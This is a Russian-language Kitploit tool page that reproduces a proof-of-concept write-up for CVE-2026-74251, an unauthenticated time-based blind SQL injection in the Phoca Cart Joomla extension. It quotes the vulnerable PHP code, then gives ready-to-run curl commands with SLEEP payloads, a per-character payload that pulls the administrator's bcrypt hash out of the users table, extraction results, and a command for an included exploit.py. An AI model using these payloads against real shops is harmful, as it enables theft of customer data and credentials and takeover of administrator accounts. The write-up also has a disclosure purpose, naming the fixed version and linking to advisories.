Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/toanln-cov/cve-2026-74251
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхВеб-безопасностьБезопасность Баз Данных
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Неаутентифицированная SQL-инъекция через фильтр атрибутов в Phoca Cart — CVSS 9.3

Репозиторий
923 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Неаутентифицированная SQL-инъекция через фильтр атрибутов в Phoca Cart

Phoca Cart ≤ 6.1.6 — неаутентифицированный злоумышленник извлекает всю базу данных с помощью time-based blind инъекции

CVE CVSS v4.0 CWE-89 Affected Researcher


КРАТКОЕ ОПИСАНИЕ

Параметры GET-массивов a[] (атрибут) и s[] (спецификация) на публичной странице товаров магазина Phoca Cart конкатенируются в SQL-выражения WHERE в исходном виде, без параметризации или экранирования. Неаутентифицированный злоумышленник может внедрить произвольный SQL через эти параметры, что позволяет полностью извлечь базу данных с помощью техники time-based blind (слепой инъекции на основе времени).

Уязвимость находится в getSqlPartsArray() внутри admin/libraries/phocacart/search/search.php. Функция вызывает explode(',', $v) перед построением списка IN(), но никогда не экранирует полученные значения — поэтому payload без запятых попадает в SQL-запрос в неизменном виде. Поскольку getItemListQuery() вызывается дважды за запрос (getTotal() + getItemList()), payload SLEEP(N) вызывает наблюдаемую задержку в 2×N секунд, что делает обнаружение по времени очень надёжным.


УЯЗВИМЫЕ ВЕРСИИ

КОМПОНЕНТУЯЗВИМАПРОТЕСТИРОВАНО НАИСПРАВЛЕНО
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

ДЕТАЛИ УЯЗВИМОСТИ

Тип: SQL-инъекция — Time-Based Blind (CWE-89) Требуется аутентификация: нет — общедоступная конечная точка Файл: admin/libraries/phocacart/search/search.php

Корневая причина

Модель товаров читает параметры a[] и s[] напрямую из HTTP-запроса без санитизации:

SITE/MODELS/ITEMS.PHP — СТРОКИ 92–93

root@kitploit:~
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

Эти значения передаются в getSqlPartsArray(), которая разделяет каждое значение по запятым и вставляет полученные фрагменты непосредственно в SQL-выражение IN():

SEARCH.PHP — GETSQLPARTSARRAY(), СТРОКИ 318–363 (УЯЗВИМО)

root@kitploit:~
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

Результирующий SQL-фрагмент вставляется в основной запрос:

root@kitploit:~
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

getActiveFilterValues() в filter.php применяет filterValue($item, 'alphanumeric') к значениям a[]/s[] для слоя отображения. Однако getSqlPartsArray() читает те же параметры напрямую из $app->getInput()->get('a', '', 'array') без какой-либо санитизации, полностью обходя защиту слоя отображения.


ПОДТВЕРЖДЕНИЕ КОНЦЕПЦИИ

Аутентификация не требуется. Страница товаров (/index.php?option=com_phocacart&view=items) является общедоступной. Для эксплуатации не требуется настраивать атрибуты или спецификации в магазине.

1. Базовое измерение — подтверждение нормального времени отклика

Неаутентифицированный пользователь может получить доступ к торговому порталу без каких-либо учётных данных.

Неаутентифицированный доступ к торговому порталу Phoca Cart со списком товаров

Сырой запрос, перехваченный в Burp Suite — базовое время отклика: 76 мс.

Базовый GET-запрос к странице магазина в Burp Suite со временем отклика 76 мс

2. Подтверждение SQL-инъекции по времени задержки — фильтр атрибутов (a[])

Payload SLEEP(3) внедряется через параметр a[color]. Поскольку getItemListQuery() вызывается дважды за запрос, ожидаемая задержка составляет 2 × 3 = 6 с. Наблюдаемое значение: 7085 мс — подтверждено.

root@kitploit:~
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite, показывающий SQLi-payload со временем отклика 7085 мс, подтверждающим двойной SLEEP(3)

3. Подтверждение с помощью SLEEP(0) — быстрый отклик

Замена SLEEP(3) на SLEEP(0) возвращает ответ немедленно (1064 мс), что подтверждает: задержка вызвана внедрённым SLEEP, а не сетевыми условиями.

Burp Suite, показывающий payload SLEEP(0) с быстрым ответом 1064 мс

4. Посимвольное извлечение данных через тайминговый оракул

Извлекайте bcrypt-хэш администратора по одному байту за раз. Критическое ограничение: explode(',', $v) разделяет строку по запятым перед построением SQL — в payload необходимо использовать SUBSTRING(str FROM pos FOR len) (синтаксис ANSI с ключевыми словами), чтобы избежать обрезания по запятой, а также CASE WHEN ... THEN ... ELSE ... END вместо IF().

root@kitploit:~
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

Проверка в лаборатории — первые 12 символов bcrypt-хэша администратора:

поз.символASCIIоткликсовпадение
1$36>6s✓
2250>6s✓
3y121>6s✓
4$36>6s✓
5149>6s✓
6048>6s✓
7$36>6s✓
8L76>6s✓
9N78>6s✓
10v118>6s✓
11t116>6s✓
.........>6s✓

Извлечённый префикс $2y$10$LNvt... — полный bcrypt-хэш из 60 символов может быть восстановлен примерно за 240 запросов.

5. Автоматическое извлечение — полный дамп хэша администратора с помощью эксплойт-скрипта

Включённый скрипт exploit.py автоматически извлекает полный хэш пароля администратора без ручного перебора, используя ту же технику на основе времени, что описана выше.

root@kitploit:~
python exploit.py http://TARGET

Вывод эксплойт-скрипта, показывающий полный bcrypt-хэш администратора, извлечённый без аутентификации


ВЛИЯНИЕ

  1. Полное чтение базы данных без аутентификации — учётные данные пользователей Joomla (bcrypt-хэши и email-адреса), записи заказов, платёжные метаданные, персональные данные клиентов и API-ключи, хранящиеся в базе данных, полностью доступны любому неаутентифицированному злоумышленнику.
  2. Захват учётной записи администратора — извлечение хэша пароля администратора и его офлайн-взлом дают полный доступ администратора Joomla, что позволяет выполнять удалённый код через загрузку шаблона или плагина.
  3. Ноль предварительных условий — затрагивает каждую установку Phoca Cart — уязвимой конечной точкой является публичная страница списка товаров магазина. Не требуется настраивать атрибуты или спецификации. Любой сайт с установленным com_phocacart и публичным фронтендом является эксплуатируемым.
  4. Потенциальная запись в базу данных — если эмуляция PDO в MariaDB допускает stacked-запросы, злоумышленник может выполнять произвольные выражения INSERT / UPDATE / DELETE, включая создание новых учётных записей администратора или изменение записей заказов.

ССЫЛКИ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74251
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74251
  • GitHub Advisory: https://github.com/advisories/GHSA-wgm5-xp28-5cmg
  • Vendor Repository: https://github.com/PhocaDesign/PhocaCart
Скачать инструмент